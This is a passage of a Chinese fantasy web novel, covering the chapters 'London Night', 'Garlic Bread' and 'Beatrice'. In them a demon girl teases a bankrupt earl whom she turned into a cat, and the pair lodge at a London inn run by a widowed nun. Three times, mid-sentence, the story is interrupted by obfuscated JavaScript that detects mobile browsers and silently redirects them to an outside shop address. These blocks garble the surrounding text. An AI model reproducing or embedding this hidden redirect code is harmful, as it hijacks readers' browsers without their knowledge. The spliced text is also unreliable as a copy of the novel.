“可惜了,没轻没重!下场让我抓到你,可就得留下点什么了,小猫咪…” 她望着手上的牙印,心情甚好,用大拇指轻轻蹭了蹭,牙印瞬间消失不见。 没意思了。 她百无聊赖地回到杰诺尔房间门口,本想看看他有没有长出猫耳。 敲了敲,还真没人回应,他不在里面。 “那就只能祝你好运了,伯爵大人。” 她敛去笑容,手掌沿着指节从上到下拂过,刚刚被猫咬过的伤口迅速消失不见,仿佛刚才的受伤只是一场梦。 她有点失望,噘着嘴回到了自己的房间。 傍晚时分,一辆黑色马车静悄悄地出现,停在了索恩古堡门前的大坪上。 城堡里的东西都收拾的差不多了,能变卖的变卖,不能卖的要么扔,要么用白布掩盖着,避免风吹日晒的腐坏。 杰诺尔脸色有些发白,他站在大厅中央,与亨利交谈。 他一上午没出现,傍晚时分突然回了家,叫了一辆马车搬东西。 背后的事他难以启齿,那晚喝了被莉莉贝特“加料”的啤酒之后他就浑身不得劲,大晚上睡不着,总想喵喵叫。 本想天亮以后找个医生看看,谁曾想,他根本等不来天黑,眼睛一闭,变成了一只白猫。 模样…就跟他养的那只金吉拉一模一样,除了…生理性别不同。 他养的金吉拉是母猫,而他变的猫,是公的。 他心不在焉地跟亨利聊着,心思全飞到九霄云外,被莉莉贝特玩弄的屈辱…不得不屈服对方淫威的憋屈…… 真恨啊,但偏偏这恶魔小姐是他自己招来的,还是他的计划中最关键的一环。 “伯爵大人,这里有三千枚金币,我把家里能够快速变卖的东西都卖了,价格也尽量卖到了最高,但也只有这么多。” “辛苦了,”杰诺尔接过亨利递来的钱包,打开口袋,也没数,从中拿出来五枚,轻描淡写地递到了亨利手上。“这些日子跟着我吃了不少苦,这点金币拿着回家给你妹妹买点东西。” 亨利平日里经常帮杰诺尔跑腿办事,刚刚也习惯性觉得杰诺尔有事吩咐他这才接下金币,然而听到伯爵的解释后,他愣了半秒,脸色煞白,手抖成了筛子,说话都不利索了。 “伯爵…我不能收。” 他反复咀嚼杰诺尔这句话,听着怎么都觉得这是像杰诺尔的逐客令,他想自己这是要被开除了。 “我不要这些金币,你别开除我!” 他捧着金币,杰诺尔不肯收回,他急得都要哭出来了。 杰诺尔无奈的摇了摇头,拍怕他的肩膀。 “亨利,金币你拿着。你听我说,你不会失去工作。” 他承认此时的他确实生活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525330|203463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拮据,请不起佣人,但以他的人脉为亨利找一份养活自己的工作还是问题不大的。 “那……我还能在您手下工作吗?” 他眼睛红得像只兔子,即便杰诺尔耐心解释,他也没放下眼中的警惕。 小亨利出身于贫民窟,一旦失去这份工作,也就意味着他们家以后连温饱都是大问题。 杰诺尔摇摇头,又点点头。 他顿时紧张到手都在抖,牙齿发出像冻得打颤一样的声音。 “别担心,事情…还没有那么糟糕。”杰诺尔于心不忍,“我在泰晤士河河畔为你找了一份给货船卸货的工作,工作照常结。” “那……我不跟你在一起了吗?” 看他唯唯诺诺,杰诺尔也不忍心说太绝对。 “你放心,用不了多久,我会接你回来。” “您撒谎,如果以后您都不是伯爵了,是不是您就不来接我了…” 他一边说着一边流泪,杰诺尔只能抱着他安抚。 “我……”他不知如何解释。 他又何尝不想留下所有人,但他显然破产了,若此时让他对公爵妥协,那此前的全部努力就都将功亏一篑,他不能… 还好此时,宠物店老板来送猫。 “伯爵…我是伊森,我来送猫了。” “喵呜~” 他暗自松了一口气,松开了搂住亨利的手臂,“好了,别哭了,我答应你,三个月,最多三个月,我就会来接你。” 他心里也没嘴上那么有底,不过既然答应了,他会努力。 “那您说话算话。” 亨利打着泪嗝,他大概是还想哭,又怕被人看见,擦干眼泪躲到了楼梯下面。 杰诺尔叹了口气,满是无奈,亨利十四岁就跟着他,如今亨利十八岁,而他也二十二岁了,二人早已不是主仆关系那么简单。 “伯爵…您在吗?奇怪…门口停了一辆车,城堡不像无人居住啊。” 直到在门口站了半天的宠物店老板开始发牢骚。 “喵呜……” 猫也叫个不停,杰诺尔甚至都能想象出他们急得抓耳挠腮的样子。 “我这就来…” 他赶紧回应,一路小跑过去开门,正要接猫。 然而身旁卷来一阵风,强劲的气流令他仿佛置身于云端,置身于飘渺的空气,无论双腿怎么挣扎,都无法靠近地面。 他脸色瞬间煞白,脚步虚浮,一不小心撞倒了一旁的花瓶,手忙脚乱扶住墙,这才没倒下。 他正要开口,抬头一看,莉莉贝特抢先抱走了伊森老板手里金吉拉。 遭了,不好!要暴露。 他踉踉跄跄想去抢,莉莉贝特一个漂亮的转身,又扑了个空。 “莉莉贝特,把米拉给我!” 他太阳穴疼得厉害,身体某个部位还残留着被人肆意玩耍后带来的痉挛痛感,语气有些恼羞成怒。 对方嚣张依旧,还调笑着他。 “原来它叫米拉!名字真好听,像个女孩子的名字…”她抱着猫转了个圈,金吉拉很乖,眼睛眨巴眨巴,与前不久某个被莉莉贝特玩弄过的完全不一样,外貌八分像,性格却南辕北辙,判若两猫。 “杰诺尔,不是我说你,你怎么能给公猫取这种名字,孩子以后和同龄猫一起玩会被嘲笑的!” 杰诺尔这会儿怎么会想到这一茬,他害怕莉莉贝特会发现自己的秘密,挣扎着凑过去,一根筋的想要把猫抢回来。 可惜莉莉贝特的动作太灵活了,每一次都悄然躲开。 “我就不给你。” “求你,它认生,你给我吧!” 他就差没给莉莉贝特跪下,耳尖红得滴血。 “不给!” 她笑着把猫翻转过来,打算扛起就跑,结果雪白的肚皮翻过来一看,她笑容凝固了。 只见原本长着铃铛的区域一马平川,根本就没有什么铃铛,小猫也无辜的大眼睛望着她。 杰诺尔捂住了眼睛,放弃挣扎。 “诶?你的蛋呢?” 她惊讶极了,脑子里的猜测逐渐成型,嘴角慢慢弯出一个夸张的幅度,用余光打量杰诺尔熟透的脸。 “小猫咪,你什么时候噶蛋了。哎呀,我就是说说嘛~又没真的想让你失去蛋蛋。” 8. 伦敦夜色 说着,目光时不时往杰诺尔身上瞟去。 伯爵大人的脸色黑如锅底,要多精彩有多精彩。他的目光始终停留在猫身上,淡粉色的唇瓣张了张,似乎想要说些什么,但又咬着牙憋了回去,羞愧的低下头。 莉莉贝特心里已经将真相猜到了个大概,她没想到能让恶魔们长出动物耳朵和尾巴的怪力糖,在人类身上的效果是恶魔们的数倍数十倍,居然能够将一个大活人变成动物。 怪力糖的效果持续时间一般是六个小时,刚好与杰诺尔回来的时间对得上。 咳咳……早知道,就不玩人家的铃铛了。 恶魔小姐的耳尖攀上一抹绯红,尴尬地咳嗽两声,手上无意识做着抚摸小猫的动作。 她清了清嗓子。 “杰诺尔…” 刚想安慰几句,就被杰诺尔恼羞成怒的一声打断。 “干什么!” 杰诺尔脸涨得通红,像一只受惊的猫,一点就炸毛。 吓她一跳,被这么噎了一下,她话到了嘴边,咽了回去。 “咳咳…没什么,我只是想问,它叫米粒对吧。” “没…没错。” 杰诺尔一点也不敢看她的眼睛,她故意追随着他的动作转移视线也无济于事,他一直在躲。没想到他此人,看似老谋深算,城府极深,实则纯情得很。 “米粒,原来是只母猫吗?” 杰诺尔嘴角抽了抽,声音细若蚊呐。 “是…是母猫。” 即使他窘迫得都快站不住了,莉莉贝特也没有放过他。 “那我怎么记得,城堡里有只和它长得很像的公猫呢?那只公猫还没绝育,两只大大的铃铛走路时晃来晃去,可有意思了。” 她故意笑得很大声,回头看见杰诺尔深吸一口气,慢悠悠转过身,背对着她。 客厅有面落地镜,莉莉贝特能看见镜子里倒映出他的悲怆表情。她看见杰诺尔胸口也剧烈起伏着,两排大白牙齿战栗着,估计恨不得从她身上撕下一块肉来。 语气倒是还算斯斯文文。 “是有只公……猫……” 后面两个字,听着像是花光了他所有力气似的,说完长叹了一口气。 莉莉贝特猜想,他应该还是个处男,不然不会因为被逗了一下就尴尬成这样。 从前看他对卡珊德拉一片真心还以为二人修成正果了呢。现在看,杰诺尔,菜! 不过就是被她亵玩了一下,这就绷不住他的绅士风度了。 “那…那只猫呢?长着大铃铛的那只,我看啊,你要不带它去绝育吧,以后别祸害别的小母猫了。” 她故意这么说,看他焦急的样子。 “不好!你一个女孩子,怎么能一天到晚想着这些…”他又羞又恼,他根本不知道自己现在看起来就是那只口吐人言的当事猫,说着说着意识到什么,声音戛然而止,支支吾吾开始找补,“我的意思是…我的意思是说…”脸红得像要滴血,“是说…莉莉贝特!你别对一只猫的…那个…那个东西…占有欲太深!这是不对的!” 连“小姐”都不叫了,莉莉贝特再也绷不住了,“哈哈哈”笑得很大声。 想想这么正经的男人在她的手里也得躺平任捏,想想就成就感满满,刚才那点儿尴尬顿时烟消云散。 “别笑了!莉莉贝特小姐,” 他终于找回了一点理智,转过身来,捂着脸。 莉莉贝特控制不住地将目光往他身下看去,只见干净的白衬衣一丝不苟,再往下,黑色皮裤上点缀着银链,打理的整整齐齐,一点褶皱都没有。 就在这时,门外负责搬东西的玛丽呼喊一声。 “伯爵大人,东西已经都搬好了,我们可以出发了。” 话音刚落,杰诺尔像一阵风一样跑了出去,带着几分落荒而逃的架势。 算了,算了,都不容易。 “哈哈哈哈……” 心里那样想着,但莉莉贝特还是没忍住捧腹大笑。 没笑多久,前坪的马儿发出一声嘶啼,玛丽大声呼唤着她的名字。 “莉莉贝特小姐,我们该出发了!” “来了!” 她提起裙摆,一路小跑而去。 屋顶的怪诞石像目送着他们离开,清晨的乌鸦群聚在高处梳理羽毛,时光的一切,在静悄悄的展开。 两辆马车载着一车东西和三个人,一路颠簸,在天黑之前赶到了伦敦。 伦敦城坐落在泰晤士河北岸,从对岸看,它与威斯敏斯特并排张望,挺直胸膛,繁荣又庄重。 还没进城,远远就能看见伦敦塔的白塔尖顶、石塔群,就在泰晤士河北岸、伦敦城的东南角、紧挨着河边、伦敦桥东边不远处。 他们的马车穿过伦敦桥,路过圣保罗大教堂,最终在克里普门区的一处旅馆门口停下。 旅馆招牌写着“圣烛旅社”,大门上雕刻着圣女浮雕和白鸽,十字架点缀在每一个屋顶的最高处。 “伯爵来了,我们等您很久了,夜风寒冷,快进来暖暖手。” 老板娘是个修女打扮的中年女人,她的手里握着金属的十字架,眼角的细纹几乎快要占据整个眼睑,但岁月没有磨灭她的信仰,她依旧面目慈祥,无论对谁都热情以待。 她对杰诺尔尤其热情,那双眼睛发着光,满是尊敬,没有参杂一点其他不该有的情感。 “亲爱的黛安娜女士,很高兴见到你。” 杰诺尔翻身下马,一改刚才在马车上死气沉沉一言不发的态度,换上一张温柔的笑脸,对女士行了一个吻手礼。 “招待您是我的荣幸才是。” 她那双逐渐浑浊的眼睛倒映着伦敦城夜晚明媚的灯火,点灯人刚走不久,行人驾驶着马车来来往往,英格兰的繁荣,在此刻被体现的淋漓尽致。 他们寒暄了几句,聊的多是家长里短,没什么营养的东西,莉莉贝特觉得无聊,抬头望天。 “我是黛安娜·梅纳德,美丽的小姐,很高兴认识你。” 她正发呆,黛安娜却没给她置身事外的机会,突然喊住她,一时之间没反应过来,她呆住了。 还没等她回答,杰诺尔一个侧身切入,严严实实把她挡在了身后,像一条护着珍宝的巨龙。 “她是莉莉贝特·琼斯小姐,您可以叫她莉莉贝特,她…是我的家人。” 她看着黛安娜手里的十字架,又听着杰诺尔对她的介绍——家人,心里说不上什么感觉,咽了咽口水。 杰诺尔倒是眉头皱了皱,盯着她手里的十字架,压着莉莉贝特的脚尖后退。 这是把她当成怕十字架的和圣水的低等恶魔了? 被一个人类护在身后,她大恶魔的面子还要不要? 她推开杰诺尔,在对方惊讶的表情下上前,回握住黛安娜的手。 没错,正是捏着十字架那只。 “我是莉莉贝特,很高兴认识你。”恶魔小姐张扬一笑,手心里微微有些灼烧感,但影响不大,倒是杰诺尔一脸担忧,望着他们握紧的双手微微发怔。 黛安娜笑了笑,露出一副“我懂,我懂”的表情,转身招呼店里的伙计帮杰诺尔搬行李。 “你不怕?”杰诺尔满脸狐疑,贴着她耳边轻轻问。 “都什么年代了,你还活在古罗马时代吗?” 杰诺尔满头黑线,闭上了嘴。 搬完行李已经是深夜,杰诺尔不知道去了哪里,他留下玛丽陪着莉莉贝特,黛安娜举着蜡烛领着她们去找房间。 走廊的壁灯还是煤油灯式,尽管电力已经普及,但这里似乎被时间遗忘了,依然保留着最原始的模样。 他们的房间在二楼,是一个大套件,有两个客房,一个客厅,麻雀虽小五脏俱全,很像莉莉贝特利用时空魔法在二十一世纪看到的那种高楼套房,但要小一些。 那时候莉莉贝特吐槽,她觉得那个时代什么都有,但人活得格外憋屈,每个人的一生都是住在盒子里,活着是个大盒子,死了一个小盒子。 结果没想到,有一天她也住上盒子了。 “这栋房子是我前夫留下的,为了保持它最纯粹的样子,所以我没装电路,请见谅。” 黛安娜话比较多,但很有分寸,关于莉莉贝特的事她只字不提,但关于她自己的事情,偶尔还是能泄出几句。 玛丽一进套间就开始整理东西,她立马奔向了最大的那个房间,拿出杰诺尔都行李,专心致志开始工作。 她是个十佳好女仆,怪不得杰诺尔连破产了都要带着她。 莉莉贝特莫名有些烦躁,摸着昏暗的光慢慢坐下,有一搭没一搭跟黛安娜聊天。 屋内的装饰很有教廷风格,画像也都是与此有关的,比如《创造亚当》,《逐出伊甸园》等等… 还有在地狱最有名的,那副大天使长米迦勒殿下把陛下的头踩在脚下那张。 这幅画在地狱没少被大家诟病,每每被提起,都能引发一次魔界大战,纷纷议论米迦勒殿下和陛下谁更厉害。 虽身处魔界,但魔族慕强,并不会因为是魔族而无脑偏袒路西法陛下,堕天使们一般站在陛下这边,恶魔族则大部分觉得米迦勒殿下更厉害,牛头人和龙族中立比较多,所幸路西法陛下并不在乎这些,他与大天使长的关系也没大家想象中那么差。 听她反复提起前夫,莉莉贝特不禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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其实莉莉贝特根本不相信什么宽恕别人就是宽恕自己,莉莉贝特觉得神明并不能看见所有的苦难,无法惩罚所有的罪人。她更愿意相信自己,她觉得最好的做法就是有仇报仇,有冤报冤,简单有效。 但不得不承认,并不是所有人都有反抗的能力和勇气,一句神的宽恕,确实是给了那些无法反抗、无法逃脱命运的人们些许精神帮助。至少,给了他们抛弃过去的勇气。 “他死了,我成了寡妇。这里是教廷收留圣仆的一处落脚点,守护这里,是我丈夫生前的工作内容之一,只是后来他死了。他死了,我继承了他的衣钵和信仰,成为了这里新的守护者。” 莉莉贝特注意到,“他死了”,她说了三遍。 她们,应该是很相爱的。 “黛安娜女士,很抱歉让您想起这些。” 神语让人们学着将痛苦和悲伤掩盖,却不能真正抚平伤痛,只是让他们被深深的大雪掩埋。 黛安娜微微一笑。 “莉莉贝特小姐,您无需感到抱歉,神已经宽恕了我的悲伤,让我得到了幸福,祂也带走了我的爱人,天堂接纳了他,虽然无法身处同一片时空,但我们都会感到幸福。” 莉莉贝特语塞,若神真像大家所说的那样普度众生,那她也不会下地狱。 她才不信好人就能上天堂,虽然记忆已经不完整,但她有听陛下说过,她生前也曾经是那位神明的信徒,但她死后灵魂经过红海,来接她的天使和恶魔产生了分歧,神觉得她执念太深不适合去天堂,陛下则觉得执念深是一件好事,欣然接纳了她。 她不信神,不过这些话,她还不至于当着人家信徒的面说。 “那杰诺尔呢?他也是你们的信徒?” 她有些想岔开话题了。 也确实有效,提起杰诺尔,黛安娜的表情不会看起来那么满怀悲伤又故作坚强。她摇摇头,“不,他不是。但他是这里的大恩人,他改变了我的认知,资助了我们。” 她似乎是想起了某些艰难的岁月,静静地站到窗边,望着月亮,“人们慢慢失去信仰,这里的生意也一天不如一天,但我还有很多无家可归的圣仆要养。后来有幸认识了杰诺尔伯爵,他资助我对旅馆进行转型,让这里不再只收留圣仆,而是变成了一座真正的普通旅馆,无论是来自哪里的客人都能得到接待。 我赚到了钱,我前夫的工作也得到了延续,他们的信仰被保留了,我真的很感激他。” 莉莉贝特并不觉得杰诺尔会有那么好心,那个男人无利不往,就连她复活这件事,也是他算计好了的。 她刚想要提醒黛安娜擦亮眼睛,门外的走廊响起脚步声。 是杰诺尔。 莉莉贝特眉头紧锁,他的身上有一股她很讨厌的味道。卷着浓浓的压迫感,就像从粪坑里掏出来! 杰诺尔…?掉粪坑了? 9. 蒜香面包 Oh “伯爵大人,您回来了!” 杰诺尔还没进门,热情的玛丽就已经迎了上来。即使已经不再身处索恩古堡,她还秉持着那套完美女仆的做派。 如果忽略她的近视眼的话,那就真的完美了。只可惜,她的眼神实在是太差了,以至于她眼中的任何东西,在她看来都有可能是杰诺尔。 于是,杰诺尔抱着东西一进门,看见的就是玛丽对着墙上一幅画喊他名字的模样。 屋子里的其他两位女士用奇怪的眼神打量他,一个盯着他手里的东西,一个盯着玛丽。 他放下手里用牛皮纸包着的东西,哭笑不得地走到玛丽身边,靠在门框上。 “玛丽,你在干嘛?” 玛丽踮着脚,朝着那副高高挂起的画像伸了伸手,像是要去拿什么东西。 “你想要拿什么?” 见对方没答,他硬着头皮又问了嘴。 “伯爵大人,我来帮你拿外套。” 只见她一直立起脚尖,不停的去个画像上的人脸,但都扑了个空。 玛丽这双眼睛是越近看得越不清楚,但凡东西离得远些,她都能看出个大概。 平日里工作她都是带着眼镜的,但今天走得匆忙,眼镜掉在路上了,杰诺尔还没来得及重新给她配。 这不,又丢人了。 “伯爵大人,您怎么又长高了?” 她不仅眼神特别差,有时候对声音的分辨能力也比较低,明明杰诺尔的声音从侧面传来,她也感觉不到。 他叹息一声说,“难道我平时不高吗?” 玛丽扶着下巴想了想,一旁的莉莉贝特开始憋笑,杰诺尔揉了揉太阳穴,黛安娜温婉端庄笑而不语。 本以为玛丽深思熟虑后能说些好听的话,结果她想了老半天,嘴巴里蹦出来句,“高…就是没有那么高,还不如古堡门口的石墩子高。” “胡说!”杰诺尔瞬间急红了脸,“古堡门口的石像只有一米八,我明明有一米八一,我比它高一厘米。” “可伯爵您平时就是看着没有石像高嘛,难道您穿高跟鞋了?” “玛丽!!”他两眼一黑又一黑,“我再说最后一遍,我裸身高一米八一!我没有穿高跟鞋。” “好吧好吧,是我的错。”她妥协道。 杰诺尔恨不得敲敲她的脑子,看看这只笨脑袋是怎么长的,他现在看着她的表情就来气,心想让玛丽接触莉莉贝特就是个错误,果不其然被带坏了。 他咬牙切齿地说,“玛丽,在你的眼镜没有配好之前,你少说话!” “噗……”莉莉贝特再也憋不住笑。玛丽也终于意识到了什么,一抹红从脖颈爬上耳垂。 更尴尬的是,就在这时,玛丽的肚子发出一声响亮的“咕噜……” 这下好了,她整张脸都红成了一个苹果,低下了头。 “我买了蒜香面包,一起来吃点吧。” 好在,杰诺尔刻在骨子里的绅士风度也还在,他并不会因为玛丽对他的冒犯迁怒于对方,也没有太多贵族的架子,甚至和大多数贵族相比,他几乎没有对低等阶级的歧视,平等温和地对待每一个人。 这一点上,莉莉贝特倒是很欣赏他。也不知道索恩公爵那样急功近利的人,是怎么生出这样的儿子的。 不会,不是亲生的吧? 莉莉贝特嗤笑一声。 另一边,杰诺尔不知道莉莉贝特在心里蛐蛐他,这个点,这附近几乎没有什么吃的,全都打烊了。只有一家他常常光顾的面包店,老板正在清理厨房,看见来人是他,才勉为其难为他烤了几个面包。 黛安娜信仰天主,他们吃的面包一般是无酵面包,又干又柴又硬,杰诺尔吃不惯。 这一天都在奔波,三个人都几乎没有吃什么东西,所以他才会趁着有空就去找吃的。 他打开包裹面包的牛皮纸,还没看到面包,就闻到一股蒜香味扑鼻而来,实在是太香了,他也没忍住肚子咕噜咕噜叫了几声,咽了咽口水。 英国的贵族们很少有人爱吃这种面包,他们讲究体面,讨厌这种味道大的东西,然而杰诺尔却很喜欢,加上蒜蓉和黄油,一口下去,简直不要太完美。 他还想给莉莉贝特安利呢,撕开面包后正要分一些给她,结果抬头就看见莉莉贝特敛了笑容,捂着鼻子站在空气流通的窗户边,一脸不敢置信的望着他。 “你在吃什么?我的天,这是粪便吗?怎么这么臭!” “是蒜香面包,很好吃的。” 玛丽手里也被杰诺尔塞了一块,她正津津有味地啃着,嘴角沾着一嘴的黄油。 “忙了一天了,你也没有吃东西,这个时候只能买得到这些普通的路边面包,味道是大了点,要不对付着吃一口吧。” 杰诺尔担心她饿肚子,劝说着。 “黛安娜家的面包和我们平时吃的不太一样,可能,不太符合大家的口味。” 但这个味道,莉莉贝特说什么都不肯尝试,她非常惊讶,即使是十字架与圣水也没这么让她害怕过,但这个味道被杰诺尔打开包装纸,味道一散开,她立马就不行了,想吐。 “拿走快拿走!我不要吃这个东西!我看你是想害我,杰诺尔,你要是对我不满你可以直说,不要这么弯弯绕绕。我不要跟这个东西共处一室!能不能给我单独安排一个房间。” 她死死地捂着自己的鼻子,她感觉自己仿佛置身于一个几百年都没有打扫过的旱厕,四面八方都是黑糊糊的不明排泄物,这股臭味极具侵染力,她觉得自己都已经被腌入味了,这还得了,等以后回到地狱,哪个八块腹肌的小恶魔还敢上她的床。 杰诺尔实在是没想到她会有如此激烈的反应,捏在手里的面包也逐渐变得沉重起来,给也不是,不给也不是,连连叹气。 好在,有黛安娜帮着解释,慈祥的修女显然也不喜欢这个味道,但她脸上依旧挂着浅浅的笑意,并未对此有过多的陈述,而是走到房间另一边,打开了另一扇窗户。 空气逐渐流通,她耐心解释。 “我的前夫告诉过我,大蒜并不是一种所有人都喜欢的食物,比如某些住在地下的邻居,他们就非常讨厌辛辣刺激的东西。” 杰诺尔恍然大悟,脸色稍缓。 “抱歉,是我考虑不周。” 他原以为黛安娜没有看出莉莉贝特的身份,但如今听她这么说,他这才明白,黛安娜从一开始就知道了莉莉贝特是什么,但她选择了没有拆穿,甚至是接纳,这是她在向杰诺尔展示她的立场。 “我家厨房还有一些吐司,如果莉莉贝特小姐不嫌弃的话,我这就去拿来。” “那就麻烦您了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525332|203463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不好拂了人家的好意,他将手里的面包两口塞进嘴里,味同嚼蜡地吞了下去。 没想到他还不如一个教廷的修女懂得多,恶魔族天生就不喜欢味道大的东西,是他疏忽了。 “对了,黛安娜女士,还得再麻烦您一件事。” 他叫住了黛安娜。 “请讲。” 背对着他的黛安娜转过身来。 他望着拼命呼吸屋外新鲜空气,整个人都在风中凌乱的莉莉贝特说。 “麻烦您帮我为莉莉贝特小姐再开一个房间,账单记在我名下。” 听了这话,玛丽瞬间激动。 “可是伯爵,我们已经没有钱……” “玛丽!” 他打断了对方,收起了脸上所有的笑容,话语中也略微带着一丝冷。 “我是破产了,但我们还存在着雇佣关系,你是我的女仆,招呼我的客人,也是你的职责之一,你只需要听从我的吩咐,其他的一切都不需要你操心。” “是……”玛丽垂眸,闭上了嘴。 月亮逐渐爬到点缀着十字架石像的屋顶最顶端,离开了那个充斥着蒜香味的房间后,莉莉贝特才终于感觉到自己活过来了。 但大蒜带来的影响还在,她的恶魔血脉偾张,体内藏着的魔鬼逐渐苏醒。 她食不知味地啃着黛安娜给她拿的面包,两颗尖尖的小虎牙在面包边上戳来戳去,戳了好几个小洞,但又怎么都没有撕下几口吞下。 果然就像杰诺尔说的那样,黛安娜家的面包和他们平时吃的不太一样,这东西硬的像一块石头,这哪里是吐司,但凡她的年龄再年长十几岁,这一口下去,牙齿都有可能会被崩掉。 好难吃,这是她自从来了人间之后,吃到过的最难吃的一顿晚饭。 要换做是她曾经在地狱的时候,哪天不是山珍海味,好酒好菜地供着,怎么来了人间,没有人给她接风洗尘也就算了,居然还要吃这么难吃的东西。 她是个恶魔,恶魔是要吃肉的,她心烦意乱的将面包一扔,转身向房门的方向走去。 站在房间口,她先是用耳朵贴近房门仔细听了听,走廊上静悄悄的,连一根针掉到地上的声音都能听得到。 唯有头顶的天花板,三楼的圣仆朗诵圣咏的声音回荡。 “上主,望你向我们显你光辉的仪容,你赐给我心中的欢悦,远胜过麦和酒的丰饶。”[1] 这些祝词,对莉莉贝特造成不了任何伤害。 确定走廊没有人后,她放心地推开门,打算出门觅食。 她都好久没有自己出门狩猎了,就算是给她吃生肉,也比在这儿光啃干噎面包强。 她要吃肉!她忍不了一点。什么肉都好,只要是肉… 走出了旅馆的大门,街道上所有的灯都熄灭了,世界笼罩在一片浓浓的黑暗中,就连不远处教堂的玫瑰花窗也不再闪烁,唯有头顶的月亮,成为了这片黑色海洋中唯一的灯塔。 她幻化出一身斗篷,恶魔尾巴在月光下舒展开,一晃一晃的影子拖到地上。 世界那么安静,唯有不远处的街角,有一男一女两个人在那里争论,女士的大裙摆拖到地上,露出臃肿的一角。 肉…肉……她要吃肉。 她太饿了,眼中的汪洋逐渐被鲜红取代,径直朝着那个方向走去。 10. 比阿特丽斯 黑暗中,那双水蓝色的眼睛已经完全被鲜血染红,变得妖艳,变得瘆人。 她透过无尽的黑暗,紧盯着猎物。 “丹尼斯,我不吃烂黄瓜,从你背叛我的那一刻开始,你就已经不配再得到我的资助了。” 长满青苔,霉味四溢的巷子里,身着淡粉色帝政裙的金发贵族少女正一脸愠色,指着她眼前的高个子的男孩破口大骂。 “比阿特丽斯,你听我解释,事情真的不是你想象中的那样,我和瓦妮莎公主之间什么都没发生。” 男孩看着身高有一米八以上,比杰诺尔还高点,但没杰诺尔气质好。他身材不错,黄金比例倒三角,大长腿,但这么完美的身材,居然搭上的是他哭哭啼啼的样子,不像话。 他死死地拽着贵族少女的手,一把鼻涕一把眼泪,像小鸟一样撒娇,哭着哭着蹲下身,鼻涕眼泪蹭到少女的裙摆上。 “求求你,别不要我,我真的知道错了。” “哼,这个时候,你终于知道谁才是你的金主了?晚了!” 贵族少女冷笑一声,嫌弃的把手从他臂弯里抽出来,后退两步。 又不知从哪掏出来一条手帕,擦了擦手和裙摆,捂着鼻子,仿佛对方是什么臭气熏天的脏东西。 她的动作,刺痛了那个叫丹尼斯的青年。 他涨红了脸,恼羞成怒,一副难以置信,又受伤的表情。 “比阿特丽斯!你这是嫌我脏?” “没错啊,我就是嫌你脏,原来我说了半天你还没听懂吗?你就是根烂黄瓜,被瓦妮莎玩烂了的烂黄瓜!” 被叫做比阿特丽斯的贵族少女满脸不屑,她撇了撇嘴角,目光森冷。 “我从肯特郡出来就一直跟着你,为了你,我脱离了男色沼泽,我什么都没要,现在你说不要我就不要我了!”他激动地在巷子里大喊大叫,歇斯底里,脚步虚浮,把自己的头发抓得乱七八糟。 男色沼泽?莉莉贝特觉得,这个名字听着有点像鸭子馆。 原来这个时代的人们就已经这么会享受了? 她正在心里吐槽。 突然,青年那双瞪大的眼睛视线聚焦,他像是突然想到了什么,死死地盯着比阿特丽斯,“我知道了,是巴迪对不对!那个小矮子为了独吞你,他构陷我和瓦妮莎公主偷情,他就是个心机boy!!你别相信他。” 他恼羞成怒,踱来踱去,双脚不停地在巷子里发出声音,又一直围着原地转动,怎么都不肯离开。 比阿特丽斯嗤笑一声,嘴角挂着若有若无的笑意,笑容却未达眼底。 她也毫不示弱,那双漂亮的,碧蓝色的眸子寒冷刺骨,如同她说出的话一样,从不给人留面子。 “丹尼斯,你一个大男人,是把自己当做了什么从良的娼妓吗?别招笑了,你以为你是什么贞洁烈男吗?一个出来卖的鸭子,还给我说上你有多么不容易了?你从肯特郡出来,是我逼你去男色沼泽上班的吗?而且我带你出来的时候就跟你说的明明白白,以后跟了我,就只能跟着我,如果你听话,我保你下半辈子衣食无忧,结果你一只鸭子,居然想着攀上枝头当天鹅,竟然跑去勾搭瓦妮莎。” 她毫不留情,从丹尼斯与瓦妮莎二人从相识到初次约会,到第一次去旅馆,每一个时间点都吐露得准确无误。 丹尼斯被她说的冷汗直流,有些时间点,甚至他本人都没有记得那么清楚,但是比阿特丽斯却知道。 他眼神游离,飘忽不定,身体也没站稳一个趔趄。 本以为比阿特丽斯会像以前那样温柔的扶着他,然而……抬眸看见的却是她冷的不能更冷的眼睛。 他牙齿咬破了嘴唇,挤出一个比死还要难看的笑容。 “呵……”比阿特丽斯别过头去。 整个伦敦城,只有圣烛旅馆带有宗教性质,只有这里,才不会被那些表面正派的贵族踏足,最适合偷藏秘密。 从前只要他服软,她就会心软,各种名贵的珍珠首饰一堆一堆往丹尼斯房间里送,还把他安排在圣烛旅馆,但现在… 他不服气,可已经晚了。 手里,瓦妮莎给他的珍珠被他死死攥着,那个公主说,他的美貌就像伦敦城夜晚的珍珠一样明亮。 公主的温柔可人,和眼前比阿特丽斯的冷漠形成了鲜明对比。 他愤怒的一拳砸进墙里,眼里的光慢慢暗淡,再抬头,换上了一副桀骜不驯,毫不悔改的样子。 